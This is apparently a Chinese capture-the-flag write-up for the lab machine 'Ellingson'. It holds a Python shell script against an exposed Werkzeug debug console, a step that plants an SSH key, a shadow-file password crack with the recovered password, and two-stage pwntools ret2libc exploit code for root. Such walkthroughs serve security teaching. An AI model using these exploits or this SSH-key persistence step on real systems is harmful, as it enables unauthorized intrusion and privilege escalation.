[Meachines] [Hard] Ellingson Werkzeug-RCE+TRP00F+adm+BOF-ret2libc特權提升
字数 1314 2025-08-29 22:41:38

Ellingson Werkzeug-RCE + TRP00F + adm + BOF-ret2libc 特权提升完整教学

1. 信息收集

1.1 初始扫描

目标IP: 10.10.10.139

开放端口:

  • 22/tcp - OpenSSH 7.6p1 Ubuntu 4
  • 80/tcp - nginx 1.14.0 (Ubuntu)

服务识别:

  • HTTP服务运行在80端口,标题为"Ellingson Mineral Corp"
  • 操作系统: Linux (Ubuntu)

1.2 Web应用分析

发现Werkzeug调试接口:

http://10.10.10.139/articles/1
http://10.10.10.139/articles/2
http://10.10.10.139/articles/3
http://10.10.10.139/articles/4

2. Werkzeug调试RCE漏洞利用

2.1 漏洞确认

/articles/4页面发现可交互的Werkzeug调试终端,可通过注入Python代码执行系统命令。

2.2 自动化利用脚本

import requests

def injection_cmd(cmd):
    url = f'http://10.10.10.139/articles/4?__debugger__=yes&cmd=print(__import__(%27subprocess%27).check_output(%27{cmd}%27%2C%20shell%3DTrue%2C%20universal_newlines%3DTrue))&frm=140592131704592&s=TksWkxmr9kwVqDZVJ2yj'
    data = requests.get(url).text
    print(data)

if __name__ == '__main__':
    while True:
        cmd = input('Shell$ ')
        injection_cmd(cmd)

2.3 初始立足点

  1. 查找可写目录:
find /home -writable > /dev/shm/res;cat /dev/shm/res
  1. 写入SSH公钥获取持久访问:
echo "c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSUYwQ2lxRU1TOUdTNkF0cTA1Y0ZOZ2plVTVkcWFCWUE2dWgrZWdyMjI3WDUgbWFwdG5oQG1hcHRuaC1INENLMTMK"|base64 -d >/home/hal/.ssh/authorized_keys
  1. 通过SSH连接:
ssh hal@10.10.10.139 -i /home/maptnh/.ssh/id_ed25519

3. 从hal到margo的权限提升

3.1 查找特权文件

  1. 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
  1. 检查adm组成员可访问的文件:
find / -group adm 2>/dev/null

发现重要文件:

/var/backups/shadow.bak

3.2 密码破解

  1. 从shadow.bak中提取哈希:
cat /var/backups/shadow.bak
  1. 根据提示创建自定义字典:
grep -i -e love -e secret -e sex -e god /home/maptnh/rockyou.txt > test
  1. 使用John破解密码:
john user --wordlist=/tmp/test

获得margo的凭据:

username: margo
password: iamgod$08

4. 从margo到root的权限提升(BOF-ret2libc)

4.1 分析目标程序

  1. 获取目标程序:
scp hal@10.10.10.139:/usr/bin/garbage /tmp/garbage
  1. 检查安全机制:
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
ASLR      : enabled (randomize_va_space = 2)

4.2 缓冲区溢出利用步骤

步骤1: 确定缓冲区大小

使用bofz工具确定缓冲区大小为136字节:

./bofz.sh /usr/bin/garbage

步骤2: 查找ROP gadget

查找pop rdi; ret指令地址:

ropper -f garbage --search "pop rdi"

找到地址: 0x000000000040179b

步骤3: 获取PLT和GOT地址

  • PLT中的puts函数地址: 0x401050
  • GOT表中的puts地址: 0x404028
  • main函数地址: 0x401619

步骤4: 构造第一阶段payload

泄露puts的真实地址:

from pwn import *

cssh = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
garbage = cssh.process('garbage')

junk = b"A" * 136
pop_rdi = p64(0x40179b)
puts_plt = p64(0x401050)
puts_got = p64(0x404028)
main = p64(0x401619)

stage_1 = junk + pop_rdi + puts_got + puts_plt + main
garbage.sendline(stage_1)
garbage.recvuntil("access denied.\n")
leaked_puts = u64(garbage.recvline()[:-1].ljust(8, b'\x00'))
log.success("Leaked puts address: 0x%x" % leaked_puts)

步骤5: 计算libc基址

  1. 获取libc中的puts偏移量:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " puts@@GLIBC"

假设偏移量为: 0x809c0

  1. 计算libc基址:
libc_base = leaked_puts - 0x809c0

步骤6: 查找其他关键函数地址

  1. 查找system和/bin/sh:
one_gadget /lib/x86_64-linux-gnu/libc.so.6

假设找到exec_sh地址偏移: 0x4f322

  1. 查找setuid:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " setuid@@GLIBC"

假设偏移量为: 0xe5970

步骤7: 构造第二阶段payload

garbage.recvuntil("Enter access password: ")

libc_exec_sh = 0x4f322
libc_setuid = 0xe5970

stage_2 = junk + pop_rdi + p64(0) + p64(libc_setuid + libc_base) + p64(libc_exec_sh + libc_base)
garbage.sendline(stage_2)
garbage.recvuntil("access denied.")
garbage.interactive()

5. 总结

整个攻击流程分为四个主要阶段:

  1. 初始访问: 利用Werkzeug调试接口的RCE漏洞获取初始shell
  2. 横向移动: 通过写入SSH公钥获取hal用户访问权限
  3. 权限提升1: 利用adm组权限读取shadow.bak并破解margo用户密码
  4. 权限提升2: 利用缓冲区溢出漏洞通过ret2libc技术获取root权限

关键点:

  • 利用未保护的Werkzeug调试接口
  • 通过文件权限配置不当获取敏感信息
  • 利用未启用栈保护的二进制程序进行ROP攻击
  • 通过泄露libc地址绕过ASLR保护
  • 使用setuid(0)确保获取完整root权限

最终获取root flag: 9f50b5d41547b209316b1b3259e994a8

Ellingson Werkzeug-RCE + TRP00F + adm + BOF-ret2libc 特权提升完整教学 1. 信息收集 1.1 初始扫描 目标IP: 10.10.10.139 开放端口: 22/tcp - OpenSSH 7.6p1 Ubuntu 4 80/tcp - nginx 1.14.0 (Ubuntu) 服务识别: HTTP服务运行在80端口,标题为"Ellingson Mineral Corp" 操作系统: Linux (Ubuntu) 1.2 Web应用分析 发现Werkzeug调试接口: 2. Werkzeug调试RCE漏洞利用 2.1 漏洞确认 在 /articles/4 页面发现可交互的Werkzeug调试终端,可通过注入Python代码执行系统命令。 2.2 自动化利用脚本 2.3 初始立足点 查找可写目录: 写入SSH公钥获取持久访问: 通过SSH连接: 3. 从hal到margo的权限提升 3.1 查找特权文件 查找SUID文件: 检查adm组成员可访问的文件: 发现重要文件: 3.2 密码破解 从shadow.bak中提取哈希: 根据提示创建自定义字典: 使用John破解密码: 获得margo的凭据: 4. 从margo到root的权限提升(BOF-ret2libc) 4.1 分析目标程序 获取目标程序: 检查安全机制: 4.2 缓冲区溢出利用步骤 步骤1: 确定缓冲区大小 使用bofz工具确定缓冲区大小为136字节: 步骤2: 查找ROP gadget 查找 pop rdi; ret 指令地址: 找到地址: 0x000000000040179b 步骤3: 获取PLT和GOT地址 PLT中的puts函数地址: 0x401050 GOT表中的puts地址: 0x404028 main函数地址: 0x401619 步骤4: 构造第一阶段payload 泄露puts的真实地址: 步骤5: 计算libc基址 获取libc中的puts偏移量: 假设偏移量为: 0x809c0 计算libc基址: 步骤6: 查找其他关键函数地址 查找system和/bin/sh: 假设找到exec_ sh地址偏移: 0x4f322 查找setuid: 假设偏移量为: 0xe5970 步骤7: 构造第二阶段payload 5. 总结 整个攻击流程分为四个主要阶段: 初始访问 : 利用Werkzeug调试接口的RCE漏洞获取初始shell 横向移动 : 通过写入SSH公钥获取hal用户访问权限 权限提升1 : 利用adm组权限读取shadow.bak并破解margo用户密码 权限提升2 : 利用缓冲区溢出漏洞通过ret2libc技术获取root权限 关键点: 利用未保护的Werkzeug调试接口 通过文件权限配置不当获取敏感信息 利用未启用栈保护的二进制程序进行ROP攻击 通过泄露libc地址绕过ASLR保护 使用setuid(0)确保获取完整root权限 最终获取root flag: 9f50b5d41547b209316b1b3259e994a8